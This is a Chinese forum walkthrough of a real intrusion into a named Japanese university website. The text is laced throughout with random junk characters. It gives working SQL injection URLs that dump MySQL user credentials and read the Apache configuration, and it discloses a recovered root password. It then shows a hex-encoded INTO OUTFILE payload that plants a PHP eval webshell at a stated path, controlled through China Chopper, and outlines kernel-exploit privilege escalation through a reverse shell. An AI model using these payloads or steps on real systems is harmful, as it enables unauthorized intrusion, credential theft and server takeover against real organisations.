入侵日本同志社大学技术分析
( x* g3 t; @8 S; W! |7 |& w8 s: F/ p$ [& Z( U6 U4 w8 [" z
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
" k8 r G# ?0 c3 L然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:8 d/ A; i' Y8 w- R+ i
8 f# z! ?9 g) M0 l0 C% mhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user Q w ]" A6 ~8 x, Q, b" }: g9 I
, O, r6 {6 |, D' w( }4 x# z# C7 o ( z8 }7 b$ l0 ^& o! E$ N, P* e$ M
5 i! v2 `. S9 m0 `
//@@datadir为数据库文件路径 4 [9 v3 i. h- l5 g- y( R! v8 G8 |
! H, D! t4 v# N( [+ M
' G! {: [5 O: v0 i4 d) V//load_file读取网站容器apache的配置文件 - _+ X. Q/ A. N$ C$ q; Y
/ m Y+ Z, o7 ?( V
( u! U; y V( O( x
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 " H9 ]) v" Q& e! L' s" \( D( ]
复制代码* s# D( n: B x- a z8 L
* ^7 p) u9 T' p, ^+ ^) ~
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。7 \' Z9 o/ A' H2 X8 Z w+ ?
0 n; T; b( B1 |1 K
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。$ z/ L' v. L* ^. q. ]7 G
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
' b6 K' M9 a9 l' E* d
# m1 B. i. L6 a$ Q3 ~, X前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。) d8 }* b# N) ? ^' u: P
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
+ W. d+ P" J% W( p6 y/ L$ @! M# M
; E* y; W$ F1 G% g既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/5 V: I/ @4 b M+ U
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
7 R5 b4 L6 Z- e: I直接写一句话:7 w' V8 k% N; R# R+ i, y" a4 v1 { c
7 u! Y& h5 y0 o1 N2 c, I& ]http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
+ K9 Q- D+ C. B2 p# a$ h- P8 f8 I, i, A4 c4 n& q ?
k( H5 a" k, q. w. {# j2 t7 S
! d ]5 a# Z* {) D6 H
//最后的#是为了闭合前面的语句
9 r! \4 ~/ j! C0 ~* x; o
4 m: _8 l2 f1 L
2 |2 v ~, Q6 V( B) h7 r% v+ b" k' k3 V/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
; f3 y& L+ r& j4 I. X3 F c k - @% ^! T* e8 I ?
8 @! h! ?4 w1 p
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
y( R/ X0 A' K, K 6 i/ H7 T) ?8 B% M& x
7 C1 F. l" n! c- R; j+ P
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
% } }+ ^7 W) d, }
7 A/ T, ]( ?, X5 A! `1 i2 e# V6 O/ x1 P, j, {* j+ I
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
* G* ^! p5 e; D `+ j# {* ^- R//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
A# }$ v; P$ e" E5 x' h复制代码: p0 h' m4 w7 e
% E% u8 J% v- M+ a' j n
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
. x0 V, E5 h/ u# n" m通过上述注入语句,我们就得到了一句话木马:
0 ~) X7 m4 q% q4 T
4 C" d8 P! G7 C. r8 ?/ U* [
! p& M' z% [8 n& Y' Z8 q* U; d% W, e/ w) x( t0 j
4 R9 w- h" Z7 h# L9 a \0 S
0 `- h$ H$ {" Qhttp://www.doshisha.ac.jp/english/engnews_img/aa.php # P$ V* V% ]+ ^3 R5 l" G" T
复制代码
% L, z. b# c5 k) m
+ I* `9 ?4 t5 ^# ^- \用菜刀连接,密码是cmd,如图所示:
; S% {1 T" H- q" t0 E# Q; E R然后在命令提示行里看了一下,现在的权限是:% O$ E+ v7 G4 e' R1 b
: T+ G4 C1 T$ ? j
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。% D6 _/ j! w$ j0 W7 Z) d$ T8 g' z
好在赋权给这个文件夹不需要root,直接执行赋权语句:
( G1 C8 p, r6 t2 v* M, T+ M( J
' I# _' ^, O) c; N6 g' Q 8 s: ^ m& X7 \3 c5 X: F
1 s5 z& I6 m7 \" ?: l9 s ( V6 C9 n3 M7 e4 c$ z9 B0 [9 ]
: n9 z$ {- g o- Z, B0 Vchmod +x /tmp/
' p0 X4 s3 s* @$ x- Y9 p( X复制代码
/ l% {$ k3 M2 O8 b# W- W
5 L9 }3 m: R8 v; B/ t在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行: o( D- {6 |/ R9 Z
然后就查了一下内核版本:
. T7 h& S! J( n1 K- |* N0 O( [) H. f! [- Z2 h
; U6 n% A( q8 Q1 C3 D" M. @# {
% K9 W f: |/ Y/ U3 d4 F! e
$ F9 @- Y( U2 t
( Q; j8 C" Z" t" {uname-a " a. g7 i+ X* Q7 l: P
; Q7 b" {) ` R9 r: Q$ Y1 P9 Y5 ?, c) E/ r% k0 K
//其实lsb_release -a
: u5 C# g Y& l/ g) H7 ~4 h复制代码8 Z5 Y; q. E j9 `
$ L) p2 w7 \) A$ R2 z, w( l! j
如图所示:" W* F7 c0 \5 h( P- ^7 m
6 g7 g+ ~( U2 B7 {8 r
内核版本:linux mainz1 2.6.28-194.e152 n0 ?3 S/ y8 N" A
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga) d( z5 T0 N/ M4 K5 s
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
9 b, N1 @% h$ S. i- J
0 A- h( ?8 A- ?1 E* r- |3 v然后给予执行权限
( O1 h' [( f$ l& U: Z' ~" A9 ?一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样) e3 r& T* A8 ~3 @* S
' p( M9 l/ m* v4 S0 m5 L- T
+ [ I& |8 c" H9 ^1 J' a% \6 k2 l0 Z: V9 s; E
, x- w7 l7 {5 V
) U/ n2 g: b3 t t" ]chmod +x /tmp/2.6.18-194
2 G; F! A8 W* Q1 L# w; H复制代码 然后直接执行!~! N# h' u5 e7 ?$ p, P' ]) z6 B
$ H* E; i& P, H
总结:, }2 r2 C' @4 i5 q% S4 d3 w4 x
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
# P, V% V6 W( f7 D/ S" G' p提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
' d# T8 c& G! `. b8 i; l) g" x; l" p
|